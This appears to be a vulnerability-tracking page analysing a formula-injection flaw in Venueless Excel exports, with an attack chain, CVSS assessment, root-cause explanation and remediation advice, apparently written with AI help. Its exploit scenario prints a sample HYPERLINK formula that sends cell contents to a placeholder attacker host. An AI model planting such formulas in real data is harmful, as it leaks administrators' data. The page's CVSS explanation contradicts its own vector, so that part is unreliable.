Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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AccessRegister low-privilege Venueless account
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DeliverySubmit formula payload in user data field
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ExploitAdmin triggers Excel data export
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ExecutionAdmin opens exported spreadsheet file
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PersistSpreadsheet engine evaluates injected formula
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ImpactExfiltrate data or execute attacker-defined action
Vulnerability Assessment
| Weakness |
CWE
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| Exploitation Conditions | Exploitation requires the attacker to hold a low-privilege authenticated account on the Venueless instance sufficient to submit data that is included in administrator-generated Excel exports (PR:L per CVSS vector). An administrator must then independently trigger an export of that data and open the resulting Excel file in spreadsheet software that evaluates formulas on load (UI:P per CVSS vector). Exploitation is limited by the requirement for administrator action - no automated or scheduled export pipeline that skips human file-opening would be vulnerable without additional user interaction. Non-default Excel security settings that block external data connections or prompt before evaluating formulas would further degrade attacker capability post-delivery. There is no indication that a default-locked-down Venueless configuration prevents untrusted users from submitting data that appears in exports. |
| Impact | The CVSS 4.0 score of 5.1 (Medium) is consistent with the constrained impact profile: the attack requires a low-privilege user account (PR:L) and passive administrator interaction (UI:P - the admin must export and open the file), and the direct integrity impact on the vulnerable system is rated Low (VI:L) with no confidentiality or availability impact. The subsequent-system confidentiality impact is rated None (SC:N) in the provided vector, though real-world formula injection can leak spreadsheet cell data to external servers, making SC:N a conservative assessment worth verifying against the actual advisory. No EPSS score was provided in the input data, and no KEV listing exists, reducing urgency for emergency patching. However, because the attack targets an administrative function - Excel exports used by privileged users - the realistic blast radius is the admin's workstation environment and potentially sensitive data visible in the export. The threat is not fully automated (UI:P prevents zero-click exploitation), but administrative users routinely open generated reports without scrutiny, making this a practical risk in deployments where untrusted parties can register accounts. No conflicting signals were identified between the CVSS vector and the description. |
| Exploit ScenarioDerived | An attacker registers a low-privilege account on a Venueless instance and enters a crafted formula string such as =HYPERLINK("http://attacker.example/exfil?d="&ENCODEURL(A2),"click") into a user profile or event submission field. When a Venueless administrator later generates an Excel export of participant data and opens the file in Microsoft Excel, the formula is automatically evaluated, silently transmitting cell contents to the attacker's server. No public exploit code has been identified at time of analysis, but the technique is well-documented and trivially reproducible by any attacker familiar with spreadsheet formula injection. |
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Alert meAnalysisAIv1 – Jun 22, 2026
Formula injection in Venueless Excel exports allows an attacker with a low-privilege account to embed malicious spreadsheet formulas into user-supplied data fields, which execute when an administrator opens the generated export file. Affected deployments include all versions of Venueless (pretix) as indicated by the wildcard CPE entry. No public exploit has been identified at time of analysis, and no CISA KEV listing is present, but the low attack complexity and the availability of a GitHub security advisory signal a credible, reproducible attack path against administrative workflows.
RemediationAI
Consult the vendor security advisory at https://github.com/venueless/venueless/security/advisories/GHSA-5hw3-655h-7m86 for the patched release version and upgrade instructions; no specific fixed version was confirmed in the data available at time of analysis. As a compensating control prior to patching, administrators should avoid opening Excel exports generated from instances where untrusted users can submit arbitrary data, or should open such files in a sandboxed environment with external network access disabled to prevent formula-triggered data exfiltration. Disabling DDE and blocking external data connections in Excel via organizational Group Policy or Trust Center settings reduces the potential severity of any formula execution. These controls do not eliminate the injection itself and carry the trade-off of reduced spreadsheet functionality for legitimate use cases. If the platform allows restricting which data fields are included in exports, excluding free-text user-controlled fields is a partial mitigation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
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Technical ContextAI · show details
Venueless is an open-source virtual event platform maintained by pretix, identified via CPE cpe:2.3:a:pretix:venueless:*:*:*:*:*:*:*:*. The vulnerability resides in the server-side Excel export functionality, which serializes untrusted user-submitted data directly into spreadsheet cells without sanitizing formula-triggering prefix characters (=, +, -, @, tab, carriage return). When the resulting .xlsx file is opened in spreadsheet software such as Microsoft Excel or LibreOffice Calc, the embedded formulas are evaluated by the client-side spreadsheet engine, potentially making outbound network requests to attacker-controlled servers or, in permissive configurations, executing DDE/shell commands. The assigned CWE is CWE-148 (Improper Neutralization of Input Leaders), though CWE-1236 (Improper Neutralization of Formula Elements in a CSV/spreadsheet File) is the more precise classification for this class of injection - the discrepancy is worth noting when cross-referencing NVD entries. The root cause is the absence of output encoding or cell-content prefixing (e.g., prepending a literal apostrophe to force string interpretation) before writing data to Excel cells.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
Network-delivered via web app, low complexity; PR:L for required account; UI:R for admin file open; S:C for formula execution in admin's spreadsheet environment; C:L for potential cell-data exfiltration.
Primary rating from Vendor (rami.io).
CVSS VectorVendor: rami.io
Lifecycle Timeline
1DescriptionCVE.org
Untrusted user data was passed verbatim to Excel exports for administrators. This allowed formula injection which can be used to compromise the environment of the user loading the file or other data in the file.
Threat Intelligence Overview
How this decision was reached
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What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
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EUVD-2026-38220
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB